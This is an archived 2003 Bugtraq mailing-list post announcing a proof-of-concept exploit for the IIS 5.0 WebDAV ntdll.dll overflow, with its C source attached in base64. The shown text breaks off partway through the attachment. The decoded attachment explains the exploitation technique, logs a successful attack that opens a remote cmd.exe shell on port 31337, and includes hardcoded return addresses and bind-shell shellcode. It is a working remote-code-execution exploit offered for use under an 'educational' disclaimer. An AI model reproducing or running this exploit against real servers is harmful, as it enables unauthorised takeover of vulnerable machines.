[29470] in bugtraq
IIS 5.0 WebDAV -Proof of concept-. Fully documented.
daemon@ATHENA.MIT.EDU (Roman Medina)
Tue Mar 25 15:10:26 2003
From: Roman Medina <roman@rs-labs.com>
To: bugtraq@securityfocus.com
Date: Tue, 25 Mar 2003 19:25:48 +0100
Message-ID: <8p718vcvnl2lhvrt324kqudp5sck79kc0k@4ax.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="--=_cp718v0uae6unptdggu7umkckaenja7pdq.MFSBCHJLHS"
----=_cp718v0uae6unptdggu7umkckaenja7pdq.MFSBCHJLHS
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hi,
I wrote another exploit for the nt.dll bug some days ago.
Explanation and a little documentation is included in the source
file. It compiles in Linux/gcc without any error.
http://www.rs-labs.com/exploitsntools/rs_iis.c
[19.5 kbytes]
Regards,
--Roman
- --
PGP Fingerprint:
09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742
[Key ID: 0xEAD56742. Available at KeyServ]
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.8 for non-commercial use <http://www.pgp.com>
iQA/AwUBPoB8TOR/in3q1WdCEQLvqgCeLnYnMNDRQggwSn3hEe5YKKPLPl8AnR6K
YV1r+FKjoQmG+nPN0BsRv6jn
=3DTd4v
-----END PGP SIGNATURE-----
----=_cp718v0uae6unptdggu7umkckaenja7pdq.MFSBCHJLHS
Content-Type: application/octet-stream; name=rs_iis.c
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=rs_iis.c
LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovCi8qIElJUyA1LjAgV2ViREFW
IC1Qcm9vZiBvZiBjb25jZXB0LSAqLwovKiBbIEJ1ZzogQ0FOLTIwMDMtMDEwOSBdICAgICAgICAg
ICAgKi8KLyogQnkgUm9tYW4gTWVkaW5hLUhlaWdsIEhlcm5hbmRleiAgICovCi8qIGFrYSBSb01h
TlNvRnQgPHJvbWFuQHJzLWxhYnMuY29tPiAqLwovKiBNYWRyaWQsIDIzLk1hci4yMDAzICAgICAg
ICAgICAgICAgKi8KLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ICovCi8qIFB1
YmxpYyByZWxlYXNlLiBWZXJzaW9uIDEuICAgICAgICAqLwovKiAtLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0gKi8KLyogICAtPSBodHRwOi8vd3d3LnJzLWxhYnMuY29tLyA9LSAgICov
Ci8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLwoKLyogPT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICogLS1bIFJFQUQgTUUgXQogKiAKICogICBU
aGlzIGV4cGxvaXQgaXMgbWFpbmx5IGEgcHJvb2Ygb2YgY29uY2VwdCBvZiB0aGUgcmVjZW50bHkg
ZGlzY292ZXJlZCBudGRsbC5kbGwgYnVnICh3aGljaCBtYXkgYmUKICogZXhwbG9pdGVkIGluIG1h
bnkgb3RoZXIgcHJvZ3JhbXMsIG5vdCBuZWNlc3NhcmlseSBJSVMpLiBQcmFjdGljYWwgZXhwbG9p
dGF0aW9uIGlzIG5vdCBhcyBlYXN5IGFzCiAqIGV4cGVjdGVkIGR1ZSB0byBkaWZmaWN1bHQgUkVU
IGd1ZXNzaW5nIG1peGVkIHdpdGggcG9zc2libGUgSUlTIGNyYXNoZXMgKHdoaWNoIG1ha2VzIFJF
VCBicnV0ZQogKiBmb3JjaW5nIGEgdGVkaW91cyB3b3JrKS4gVGhlIHNoZWxsY29kZSBpbmNsdWRl
ZCBoZXJlIHdpbGwgYmluZCBhIGNtZC5leGUgc2hlbGwgdG8gYSBnaXZlbiBwb3J0CiAqIGF0IHRo
ZSB2aWN0aW0gbWFjaGluZSBzbyBpdCBjb3VsZCBiZSBwcm9ibGVtYXRpYyBpZiB0aGF0IG1hY2hp
bmUgaXMgcHJvdGVjdGVkIGJlaGluZCBhIGZpcmV3YWxsLgogKiBGb3IgYWxsIHRoZXNlIHJlYXNv
bnMsIHRoZSBzY29wZSBvZiB0aGlzIGNvZGUgaXMgbGltaXRlZCBhbmQgbWFpbmx5IGludGVuZGVk
IGZvciBlZHVjYXRpb25hbAogKiBwdXJwb3Nlcy4gSSBhbSBub3QgcmVzcG9uc2libGUgb2YgcG9z
c2libGUgZGFtYWdlcyBjcmVhdGVkIGJ5IHRoZSB1c2Ugb2YgdGhpcyBleHBsb2l0IGNvZGUuCiAq
IAogKiAgIFRoZSBwcm9ncmFtIHNlbmRzIGEgSFRUUCByZXF1ZXN0IGxpa2UgdGhpczoKICogCiAq
IFNFQVJDSCAvW25vcF0gW3JldF1bcmV0XVtyZXRdIC4uLiBbcmV0XSBbbm9wXVtub3BdW25vcF1b
bm9wXVtub3BdIC4uLiBbbm9wXSBbam1wY29kZV0gSFRUUC8xLjEKICoge0hUVFAgaGVhZGVycyBo
ZXJlfQogKiB7SFRUUCBib2R5IHdpdGggd2ViREFWIGNvbnRlbnR9CiAqIDB4MDEgW3NoZWxsY29k
ZV0KICogCiAqICAgSUlTIGNvbnZlcnRzIHRoZSBmaXJzdCBhc2NpaSBzdHJpbmcgKFtub3BdLi4u
W2ptcGNvZGVdKSB0byBVbmljb2RlIHVzaW5nIFVURi0xNiBlbmNvZGluZyAoZm9yCiAqIGluc3Rh
bmNlLCAweDQxIGJlY29tZXMgMHg0MSAweDAwLCBpLmUuIGFuIGV4dHJhIDB4MDAgYnl0ZSBpcyBh
ZGRlZCkgYW5kIGl0IGlzIHRoZSByZXN1bHRhbnQKICogVW5pY29kZSBzdHJpbmcgdGhlIG9uZSBw
cm9kdWNpbmcgdGhlIG92ZXJmbG93LiBTbyBhdCBmaXJzdCBnbGFuY2UsIHdlIGNhbm5vdCBpbmNs
dWRlIGNvZGUgaGVyZQogKiAobW9yZSBvbiB0aGlzIGxhdGVyKSBiZWNhdXNlIGl0IHdvdWxkIGdl
dCBjb3JydXB0ZWQgYnkgMHgwMCAoYW5kIG90aGVyKSBpbnNlcnRlZCBieXRlcy4gTm90IGF0CiAq
IGxlYXN0IHVzaW5nIHRoZSBjb21tb24gbWV0aG9kLiBBbm90aGVyIHByb2JsZW0gdGhhdCB3ZSB3
aWxsIGhhdmUgdG8gbGl2ZSB3aXRoIGlzIG91ciBSRVQgdmFsdWUKICogYmVpbmcgcGFkZGVkIHdp
dGggbnVsbCBieXRlcywgc28gaWYgd2UgdXNlIDB4YWJjZCBpbiBvdXIgc3RyaW5nLCB0aGUgcmVh
bCBSRVQgdmFsdWUgKGkuZS4gdGhlCiAqIG9uZSBFSVAgd2lsbCBiZSBvdmVyd3JpdHRlbiB3aXRo
KSB3b3VsZCBiZSAweDAwYWIwMGNkLiBUaGlzIGlzIGFuIGltcG9ydGFudCByZXN0cmljdGlvbi4K
ICogCiAqICAgV2UgaGF2ZSB0d28gYWx0ZXJuYXRpdmVzOgogKgogKiAxKSBUaGUgZWFzeSBvbmU6
IGZpbmQgYW55IG9jY3VycmVuY2VzIG9mIG91ciBhc2NpaSBzdHJpbmcgKGkuZS4gYmVmb3JlIGl0
IGdldHMgY29udmVydGVkIHRvCiAqICAgIHRoZSBVbmljb2RlIGZvcm0pIGluIHByb2Nlc3MgbWVt
b3J5LiBQcm9ibGVtOiBub3JtYWxseSB3ZSBzaG91bGQgZmluZCBpdCBieSBkZWJ1Z2dpbmcgdGhl
CiAqICAgIHZ1bG5lcmFibGUgYXBwbGljYXRpb24gYW5kIHRoZW4gaGFyZGNvZGUgdGhlIGZvdW5k
IGFkZHJlc3MgKHdoaWNoIHdpbGwgYmUgdGhlIFJFVCBhZGRyZXNzKQogKiAgICBpbiBvdXIgZXhw
bG9pdCBjb2RlLiBUaGlzIFJFVCBhZGRyZXNzIGlzIHZhcmlhYmxlLCBldmVuIGZvciB0aGUgc2Ft
ZSB2ZXJzaW9uIG9mIE9TIGFuZCBhcHAKICogICAgKEkgbWVhbiwgZGlmZmVyZW50IGluc3RhbmNl
cyBvZiB0aGUgc2FtZSBhcHBsaWNhdGlvbiBpbiB0aGUgc2FtZSBtYWNoaW5lIGNvdWxkIG1ha2Ug
dGhlCiAqICAgIGd1ZXNzZWQgUkVUIGFkZHJlc3MgaW52YWxpZCBhdCBkaWZmZXJlbnQgbW9tZW50
cykuIE5vdyBhZGQgdGhlIHJlc3RyaWN0aW9uIG9mIFJFVCB2YWx1ZQogKiAgICBwYWRkZWQgd2l0
aCBudWxsLWJ5dGVzLiBBbnl3YXksIHRoZSBtYWluIGFkdmFudGFnZSBvZiB0aGlzIG1ldGhvZCBp
cyB0aGF0IHdlIHdpbGwgbm90IGhhdmUKICogICAgdG8gZGVhbCB3aXRoIDB4MDAtcGFkZGVkIHNo
ZWxsY29kZS4KICogCiAqIDIpIFRoZSBub3Qgc28tZWFzeSBvbmU6IHlvdSBjb3VsZCBpbnNlcnQg
YW4gZW5jb2RlZCBzaGVsbGNvZGUgaW4gc3VjaCBhIHdheSB0aGF0IHdoZW4gdGhlIGFwcAogKiAg
ICBleHBhbmRzIHRoZSBhc2NpaSBzdHJpbmcgKHdpdGggdGhlIGVuY29kZWQgc2hlbGxjb2RlKSB0
byBVbmljb2RlLCBhIHZhbGlkIHNoZWxsY29kZSBpcwogKiAgICBhdXRvbWFnaWNhbGx5IHBsYWNl
ZCBpbnRvIG1lbW9yeS4gUGxlYXNlLCByZWZlciB0byBDaHJpcyBBbmxleSdzICJ2ZW5ldGlhbiBl
eHBsb2l0IiBwYXBlcgogKiAgICB0byByZWFkIG1vcmUgYWJvdXQgdGhpcy4gRGF2ZSBBaXRlbCBh
bHNvIGhhcyBhIGdvb2QgcGFwZXIgYWJvdXQgdGhpcyB0ZWNobmlxdWUgYW5kIGluZGVlZAogKiAg
ICBoZSByZWxlYXNlZCBjb2RlIHdyaXR0ZW4gaW4gUHl0aG9uIHRvIGVuY29kZSBzaGVsbGNvZGUg
KEknbSB3b25kZXJpbmcgaWYgaGUgd2lsbCByZWxlYXNlIGEKICogICAgd29ya2luZyB0b29sIGZv
ciB0aGF0IHB1cnBvc2UsIHNpbmNlIHRoZSBhY3R1YWwgY29kZSB3YXMgcmVsZWFzZWQgYXMgcGFy
dCBvZiBhIGNvbW1lcmNpYWwKICogICAgcHJvZHVjdCwgc28gaXQgY2Fubm90IGJlIHJ1biB3aXRo
b3V0IGJ1eWluZyB0aGUgd2hvbGUgcHJvZHVjdCwgZGVzcGl0ZSB0aGUgbW9kdWxlIGl0c2VsZgog
KiAgICBiZWluZyBmcmVlISkuIFByb2JsZW06IGl0IGlzIG5vdCBzbyBlYXN5IGFzIHRoZSBmaXJz
dCBtZXRob2QgOy0pIEFkdmFudGFnZTogd2hlbiB0aGUgb3Zlci0KICogICAgZmxvdyBoYXBwZW5z
LCBzb21lIHJlZ2lzdGVycyBtYXkgcG9pbnQgdG8gb3VyIFVuaWNvZGVkIHN0cmluZyAod2hlcmUg
b3VyIFVuaWNvZGVkLXNoZWxsY29kZQogKiAgICBsaXZlcyBpbiksIHNvIHdlIGRvbid0IG5lZWQg
dG8gZ3Vlc3MgdGhlIGFkZHJlc3Mgd2hlcmUgc2hlbGxjb2RlIHdpbGwgYmUgcGxhY2VkIGFuZCB0
aGUKICogICAgY2hhbmNlIG9mIGEgc3VjY2Vzc2Z1bCBleHBsb2l0YXRpb24gaXMgZ3JlYXRseSBp
bXByb3ZlZC4gRm9yIGluc3RhbmNlLCBpbiB0aGlzIGNhc2UsIHdoZW4KICogICAgSUlTIGlzIG92
ZXJmbG93ZWQsIEVDWCByZWdpc3RlciBwb2ludHMgdG8gdGhlIFVuaWNvZGUgc3RyaW5nLiBUaGUg
aWRlYSBpcyB0aGVuIGZpbGwgaW4KICogICAgUkVUIHZhbHVlIHdpdGggdGhlIGZpeGVkIGFkZHJl
c3Mgb2YgY29kZSBsaWtlICJjYWxsICVlY3giLiBUaGlzIGNvZGUgbWF5IGJlIGNvbnRhaW5lZCBp
bgogKiAgICBhbnkgcHJldmlvc2x5LWxvYWRlZCBsaWJyYXJ5LCBmb3IgZXhhbXBsZSkuCiAqIAog
KiAgIFdlbGwsIGd1ZXNzIGl0Li4uIHllcy4uLiBJIGNob3NlIHRoZSBlYXN5IG1ldGhvZCA6LSkg
UGVyaGFwcyBJIHdpbGwgcmV3cml0ZSB0aGUgZXhwbG9pdAogKiB1c2luZyBtZXRob2QgMiwgYnV0
IEkgY2Fubm90IHByb21pc2UgdGhhdC4KICogCiAqICAgTGV0J3Mgc2VlIGFub3RoZXIgcHJvYmxl
bSBvZiB0aGUgbWV0aG9kIDEgKHdoaWNoIEkgaGF2ZSB1c2VkKS4gTm90IGFsbCBVbmljb2RlIGNv
bnZlcnNpb25zCiAqIHJlc3VsdCBpbiBhIDB4MDAgYnl0ZSBiZWluZyBhZGRlZC4gVGhpcyBpcyB0
cnVlIGZvciBhc2NpaSBjaGFyYWN0ZXJzIGxvd2VyIG9yIGVxdWFsIHRvIDB4N2YKICogKGV4Y2Vw
dCBmb3Igc29tZSBmZXcgc3BlY2lhbCBjaGFyYWN0ZXJzLCBJJ20gbm90IHN1cmUpLiBCdXQgb3Vy
IHNoZWxsY29kZSB3aWxsIGhhdmUgYnl0ZXMKICogZ3JlYXRlciB0aGFuIDB4N2YgdmFsdWUuIFNv
IHdlIGRvbid0IGtub3cgdGhlIGV4YWN0IGxlbmd0aCBvZiB0aGUgVW5pY29kZWQtc3RyaW5nIGNv
bnRhaW5pbmcKICogb3VyIHNoZWxsY29kZSAoc29tZSBhc2NpaSBjaGFycyB3aWxsIGV4cGFuZCB0
byBtb3JlIHRoYW4gMiBieXRlcywgSSB0aGluaykuIEFzIGEgcmVzdWx0LAogKiBzb21ldGltZXMg
dGhlIGV4cGxvaXQgbWF5IG5vdCB3b3JrLCBiZWNhdXNlIG5vIGV4YWN0IGxlbmd0aCBpcyBtYXRj
aGVkLiBGb3IgaW5zdGFuY2UsIGlmIHlvdQogKiBjYXJyeSBvdXQgZXhwZXJpbWVudHMgb24gdGhp
cyBpc3N1ZSwgeW91IGNvdWxkIHNlZSB0aGF0IElJUyBjcmFzaGVzIChvdmVyZmxvdyBvY2N1cnMp
IHdoZW4KICogZW50ZXJpbmcgYSBxdWVyeSBsaWtlIFNFQVJDSCAvQUFBQS4uLkFBQSBIVFRQLzEu
MSwgd2l0aCA2NTUzNSBBJ3MuIFNhbWUgaGFwcGVucyB3aXRoIDY1NTM2LgogKiBCdXQgd2l0aCBk
aWZmZXJlbnQgdmFsdWVzIHNlZW1zIE5PVCB0byB3b3JrLiBTbyBtYXRjaGluZyB0aGUgZXhhY3Qg
bGVuZ3RoIGlzIGltcG9ydGFudCBoZXJlIQogKiAKICogICBXaGF0IEkgaGF2ZSBkb25lLCBpdCBp
cyB0byBpbmNsdWRlIGEgbGl0dGxlICJqdW1wY29kZSIgaW5zdGVhZCBvZiB0aGUgc2hlbGxjb2Rl
IGl0c2VsZi4gVGhlCiAqIGp1bXBjb2RlIGlzIHBsYWNlZCBpbnRvIHRoZSAiY3JpdGljYWwiIHBs
YWNlIGFuZCBoYXMgYSBmaXhlZCBsZW5ndGgsIHNvIG91ciBzdHJpbmcgaGFzIGFsd2F5cwogKiBh
IGZpeGVkIGxlbmd0aCwgdG9vLiBUaGUgInZhcmlhYmxlIiBwYXJ0ICh0aGUgc2hlbGxjb2RlKSBp
cyBwbGFjZWQgYXQgdGhlIGVuZCBvZiB0aGUgSFRUUAogKiByZXF1ZXN0IChzbyB5b3UgY2FuIGlu
c2VydCB5b3VyIG93biBzaGVsbGNvZGUgYW5kIHJlbW92ZSB0aGUgb25lIEknbSB1c2luZyBoZXJl
LCB3aXRoIG5vIGFwcGFyZW50CiAqIHByb2JsZW0pLiBUbyBiZSBwcmVjaXNlLCB0aGUgZW5kIG9m
IHRoZSByZXF1ZXN0IHdpbGwgYmU6IDB4MDEgW3NoZWxsY29kZV0uIFRoZSAweDAxIGJ5dGUgbWFy
a3MKICogdGhlIGJlZ2lubmluZyBvZiB0aGUgc2hlbGxjb2RlIGFuZCBpdCBpcyB1c2VkIGJ5IHRo
ZSBqdW1wY29kZSB0byBmaW5kIHRoZSBhZGRyZXNzIHdoZXJlIHNoZWxsLQogKiBjb2RlIGJlZ2lu
cyBhbmQganVtcCBpbnRvIGl0LiBJdCBpcyBub3QgcG9zc2libGUgdG8gaGFyZGNvZGUgYSByZWxh
dGl2ZSBqdW1wLCBiZWNhdXNlIEhUVFAKICogaGVhZGVycyBoYXZlIGEgdmFyaWFibGUgbGVuZ3Ro
ICh0aGluayBhYm91dCB0aGUgIkhvc3Q6IiBoZWFkZXIgYW5kIHlvdSB3aWxsIHVuZGVyc3RhbmQg
d2hhdAogKiBJJ20gc2F5aW5nKS4gV2VsbCwgcmVhbGx5LCB0aGUgZXhwbG9pdCBjb3VsZCBoYXZl
IGNhbGN1bGF0ZWQgdGhlIHJlbGF0aXZlIGp1bXAgaXRzZWxmIChvdGhlcgogKiBwcm9ibGVtcyBh
cmlzZSBsaWtlIG51bGwtYnl0ZXMgcG9zc2libHkgY29udGFpbmVkIGluIHRoZSBvZmZzZXQgZmll
bGQpIGJ1dCBJIGhhdmUgcHJlZmVyZWQgdG8KICogdXNlIHRoZSAweDAxIHRyaWNrLiBJdCdzIG15
IGV4cGxvaXQsIGl0J3MgbXkgY2hvaWNlIDotKQogKiAKICogICBBZnRlciBsYXVuY2hpbmcgdGhl
IGV4cGxvaXQsIHNldmVyYWwgdGhpbmdzIG1heSBoYXBwZW46CiAqIC0gdGhlIGV4cGxvaXQgaXMg
c3VjY2Vzc2Z1bC4gWW91IGNhbiBjb25uZWN0IHRvIHRoZSBib3VuZCBwb3J0IG9mIHZpY3RpbSBt
YWNoaW5lIGFuZCBnZXQgYQogKiAgIHNoZWxsLiBHcmVhdC4gUmVtZW1iZXIgdGhhdCB3aGVuIHlv
dSBpc3N1ZSBhbiAiZXhpdCIgY29tbWFuZCBpbiB0aGUgc2hlbGwgcHJvbXB0LCB0aGUgcHJvLQog
KiAgIGNlc3Mgd2lsbCBiZSB0ZXJtaW5hdGVkLiBUaGlzIGltcGxpZXMgdGhhdCBJSVMgY291bGQg
ZGllLgogKiAtIGV4cGxvaXQgcmV0dXJucyBhICJzZXJ2ZXIgbm90IHZ1bG5lcmFibGUiIHJlc3Bv
bnNlLiBSZWFsbHksIHRoZSBzZXJ2ZXIgbWF5IG5vdCBiZSB2dWxuZXJhYmxlCiAqICAgb3IgcGVy
aGFwcyB0aGUgU0VBUkNIIG1ldGhvZCB1c2VkIGJ5IHRoZSBleHBsb2l0IGlzIG5vdCBwZXJtaXR0
ZWQgKHRoZSBidWcgY2FuIHN0aWxsIGJlCiAqICAgZXhwbG9pdGVkIHZpYSBHRVQsIHByb2JhYmx5
KSBvciB3ZWJEQVYgaXMgZGlzYWJsZWQgYXQgYWxsLgogKiAtIGV4cGxvaXQgZGlkIG5vdCBnZXQg
c3VjY2VzcyAod2hpY2ggaXMgbm90IHN0cmFuZ2UsIHNpbmNlIGl0IGlzIG5vdCBlYXN5IHRvIGd1
ZXNzIFJFVCB2YWx1ZSkKICogICBidXQgdGhlIHNlcnZlciBpcyB2dWxuZXJhYmxlLiBJSVMgd2ls
bCBwcm9iYWJseSBub3Qgc3Vydml2ZTogYSAibmV0IHN0YXJ0IHczc3ZjIiBjb3VsZCBiZQogKiAg
IG5lZWRlZCBpbiB0aGUgdmljdGltIG1hY2hpbmUsIGluIG9yZGVyIHRvIHJlc3RhcnQgdGhlIFdX
VyBzZXJ2aWNlLgogKiAKICogICBUaGUgZm9sbG93aW5nIGxvZyBzaG93cyBhIGNvcnJlY3QgZXhw
bG9pdGF0aW9uOgogKiAKICogcm9tYW5AZ29saWF0On4vaWlzNXdlYmRhdj4gZ2NjIC1vIHJzX2lp
cyByc19paXMuYwogKiByb21hbkBnb2xpYXQ6fi9paXM1d2ViZGF2PiAuL3JzX2lpcyByb21hbiAg
ICAgICAKICogWypdIFJlc29sdmluZyBob3N0bmFtZSAuLi4KICogWypdIEF0dGFja2luZyBwb3J0
IDgwIGF0IHJvbWFuIChFSVAgPSAweDAwNDgwMDA0KS4uLgogKiBbKl0gTm93IG9wZW4gYW5vdGhl
ciBjb25zb2xlL3NoZWxsIGFuZCB0cnkgdG8gY29ubmVjdCAodGVsbmV0KSB0byB2aWN0aW0gcG9y
dCAzMTMzNy4uLgogKiAKICogcm9tYW5AZ29saWF0On4vaWlzNXdlYmRhdj4gdGVsbmV0IHJvbWFu
IDMxMzM3CiAqIFRyeWluZyAxOTIuMTY4LjAuMjQ3Li4uCiAqIENvbm5lY3RlZCB0byByb21hbi4K
ICogRXNjYXBlIGNoYXJhY3RlciBpcyAnXl0nLgogKiBNaWNyb3NvZnQgV2luZG93cyAyMDAwIFtW
ZXJzaaJuIDUuMDAuMjE5NV0KICogKEMpIENvcHlyaWdodCAxOTg1LTIwMDAgTWljcm9zb2Z0IENv
cnAuCiAqIAogKiBDOlxXSU5OVFxzeXN0ZW0zMj4KICogCiAqIAogKiAgIEkgYW0gbm90IGdvaW5n
IHRvIHNob3cgbG9ncyBmb3IgdGhlIGZhdWx0eSBjYXNlcy4gSSdtIHByZXR0eSBzdXJlIHlvdSB3
aWxsIHNlZSB0aGVtIHZlcnkKICogc29vbiA6LSkgQnV0IHllcywgdGhlIGV4cGxvaXQgd29ya3Ms
IHBlcmhhcHMgYSBsaXR0bGUgZmluZS10dW5uaW5nIG1heSBiZSByZXF1aXJlZCwgdGhvdWdoLgog
KiBTbyBwbGVhc2UsIGRvIE5PVCBjb250YWN0IG1lIHRlbGxpbmcgdGhhdCB0aGUgZXhwbG9pdCBk
b2Vzbid0IHdvcmsgb3IgdGhpbmdzIGxpa2UgdGhhdC4gSXQKICogd29ya2VkIGZvciBtZSBhbmQg
aXQgd2lsbCB3b3JrIGZvciB5b3UsIGlmIHlvdSdyZSBub3QgYSBzY3JpcHQta2lkZGllLiBUcnkg
dG8gYXR0YWNoIHRvIHRoZQogKiBJSVMgcHJvY2VzcyAoaW5ldGluZm8uZXhlKSB3aXRoIHRoZSBo
ZWxwIG9mIGEgZGVidWdnZXIgKE9sbHlEYmcgaXMgbXkgZmF2b3VyaXRlKSBvbiB0aGUKICogdmlj
dGltIG1hY2hpbmUgYW5kIHRoZW4gbGF1bmNoIHRoZSBleHBsb2l0IGFnYWluc3QgaXQuIERlYnVn
Z2VyIHdpbGwgYnJlYWsgd2hlbiB0aGUgZmlyc3QKICogZXhjZXB0aW9uIGlzIHByb2R1Y2VkLiBO
b3cgcGxhY2UgYSBicmVha3BvaW50IGluIDB4MDBhYjAwY2QgKGJlaW5nIDB4YWJjZCB0aGUgbm90
LXVuaWNvZGVkCiAqIFJFVCB2YWx1ZSkgYW5kIHJlc3VtZSBleGVjdXRpb24gdW50aWwgeW91IHJl
YWNoIHRoYXQgcG9pbnQuIEZpbmFsbHksIGl0J3MgdGltZSB0byBzZWFyY2gKICogdGhlIG1lbW9y
eSBsb29raW5nIGZvciBvdXIgc2hlbGxjb2RlLiBJdCBpcyBuZWFybHkgaW1wb3NzaWJsZSAodmVy
eSBsb3cgY2hhbmNlKSB0aGF0IG91cgogKiBzaGVsbGNvZGUgaXMgZm91bmQgYXQgYW55IDB4MDAq
KjAwKiotZm9ybSBhZGRyZXNzIChuZWVkZWQgdG8gYnlwYXNzIHRoZSBSRVQgcmVzdHJpY3Rpb24K
ICogaW1wb3NlZCBieSBVbmljb2RlIGNvbnZlcnNpb24pIGJ1dCBubyBwcm9ibGVtOiB5b3UgaGF2
ZSBhIGxvdCBvZiBOT1BzIGJlZm9yZSB0aGUgc2hlbGxjb2RlCiAqIHdoZXJlIHlvdSBjb3VsZCBw
b2ludCB0by4gSWYgRUlQIGlzIG92ZXJ3cml0dGVuIHdpdGggdGhlIGFkZHJlc3Mgb2Ygc3VjaCBh
IE5PUCwgcHJvZ3JhbSBmbG93CiAqIHdpbGwgZmluaXNoIHJlYWNoaW5nIG91ciBzaGVsbGNvZGUu
IE5vdGUgYWxzbyB0aGF0IGFtb25nIHRoZSB0d28gYnl0ZXMgb2YgUkVUIHRoYXQgd2UgaGF2ZSBz
b21lCiAqIGtpbmQgb2YgY29udHJvbCwgdGhlIG1vcmUgaW1wb3J0YW50IGlzIHRoZSBmaXJzdCBv
bmUsIGkuZS4gdGhlIG1vcmUgc2lnbmlmaWNhbnQuIEluIG90aGVyCiAqIHdvcmRzLCBpbnRlcmVz
dGluZyBSRVQgdmFsdWVzIHRvIHRyeSBhcmU6IDB4MDEwNCwgMHgwMjA0LCAweDAzMDQsIDB4MDQw
NCwgMHgwNTA0LCAuLi4sCiAqIGFuZCBzbyBvbiwgdGlsbCAweGZmMDQuIEFzIHlvdSBtYXkgaGF2
ZSBub3RpY2VkLCB0aGUgbGFzdCBieXRlICgweDA0KSBpcyBuZXZlciBjaGFuZ2VkIGJlY2F1c2UK
ICogaXRzIHdlaWdodCBpcyBtaW5pbWFsICgyNTYgYmV0d2VlbiBhcHJveC4gNjUwMDAgTk9QJ3Mg
aXMgbm90IGFwcHJlY2lhYmxlKS4KICogCiAqICAgSSB3aWxsIGJlIGhhcHB5IHRvIHJlY2VpdmUg
aWRlYXMsIGNvbW1lbnRzIGFuZCBmZWVkYmFjayBhYm91dCBpc3N1ZXMgcmVsYXRlZCB0byB0aGlz
IGV4cGxvaXQKICogYW5kIHRoZSBleHBsb2l0ZWQgdnVsbmVyYWJpbGl0eSBpdHNlbGYuIERyb3Ag
bWUgYW4gZS1tYWlsLiBObyBzY3JpcHQta2lkZGllcywgcGxlYXNlLgogKiAKICogICBNeSBiZXN0
IHdpc2hlcywKICogLS1Sb21hbgogKiAKICogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gLS1bIEVPVCBdLS0gPT09PT09PT09
PT09PT09PT09PT0KICovCgoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxlcnJuby5oPgoj
aW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN5cy90eXBl
cy5oPgojaW5jbHVkZSA8c3lzL3NvY2tldC5oPgojaW5jbHVkZSA8bmV0ZGIuaD4KI2luY2x1ZGUg
PG5ldGluZXQvaW4uaD4KCi8vIENoYW5nZSB0byBmaXQgeW91ciBuZWVkCiNkZWZpbmUgIFJFVCAg
ICAgICAgICAgICAweDQ4MDQgICAgICAgICAgLy8gRUlQID0gMHgwMDQ4MDAwNAojZGVmaW5lICBM
T0FETElCUkFSWUEgICAgMHgwMTAwMTA3YwojZGVmaW5lICBHRVRQUk9DQUREUkVTUyAgMHgwMTAw
MTAzNAoKLy8gRG9uJ3QgY2hhbmdlIHRoaXMKI2RlZmluZSAgUE9SVF9PRkZTRVQgICAgIDEwNTIK
I2RlZmluZSAgTE9BRExfT0ZGU0VUICAgIDc5OAojZGVmaW5lICBHRVRQUk9DX09GRlNFVCAgODE1
CiNkZWZpbmUgIE5PUCAgICAgICAgICAgICAweDkwCiNkZWZpbmUgIE1BWEJVRiAgICAgICAgICAx
MDAwMDAKCgovKgogKiBMb2FkTGlicmFyeUEgSVQgQWRkcmVzcyAgIDo9IDAxMDAxMDdDCiAqIEdl
dFByb2NBZGRyZXNzIElUIEFkZHJlc3MgOj0gMDEwMDEwMzQKICovCgp1bnNpZ25lZCBjaGFyIHNo
ZWxsY29kZVtdID0gICAgICAgICAgICAvLyBEZWVwem9uZSBzaGVsbGNvZGUKICAiXHg2OFx4NWVc
eDU2XHhjM1x4OTBceDU0XHg1OVx4ZmZceGQxXHg1OFx4MzNceGM5XHhiMVx4MWMiCiAgIlx4OTBc
eDkwXHg5MFx4OTBceDAzXHhmMVx4NTZceDVmXHgzM1x4YzlceDY2XHhiOVx4OTVceDA0IgogICJc
eDkwXHg5MFx4OTBceGFjXHgzNFx4OTlceGFhXHhlMlx4ZmFceDcxXHg5OVx4OTlceDk5XHg5OSIK
ICAiXHhjNFx4MThceDc0XHg0MFx4YjhceGQ5XHg5OVx4MTRceDJjXHg2Ylx4YmRceGQ5XHg5OVx4
MTQiCiAgIlx4MjRceDYzXHhiZFx4ZDlceDk5XHhmM1x4OWVceDA5XHgwOVx4MDlceDA5XHhjMFx4
NzFceDRiIgogICJceDliXHg5OVx4OTlceDE0XHgyY1x4YjNceGJjXHhkOVx4OTlceDE0XHgyNFx4
YWFceGJjXHhkOSIKICAiXHg5OVx4ZjNceDkzXHgwOVx4MDlceDA5XHgwOVx4YzBceDcxXHgyM1x4
OWJceDk5XHg5OVx4ZjMiCiAgIlx4OTlceDE0XHgyY1x4NDBceGJjXHhkOVx4OTlceGNmXHgxNFx4
MmNceDdjXHhiY1x4ZDlceDk5IgogICJceGNmXHgxNFx4MmNceDcwXHhiY1x4ZDlceDk5XHhjZlx4
NjZceDBjXHhhYVx4YmNceGQ5XHg5OSIKICAiXHhmM1x4OTlceDE0XHgyY1x4NDBceGJjXHhkOVx4
OTlceGNmXHgxNFx4MmNceDc0XHhiY1x4ZDkiCiAgIlx4OTlceGNmXHgxNFx4MmNceDY4XHhiY1x4
ZDlceDk5XHhjZlx4NjZceDBjXHhhYVx4YmNceGQ5IgogICJceDk5XHg1ZVx4MWNceDZjXHhiY1x4
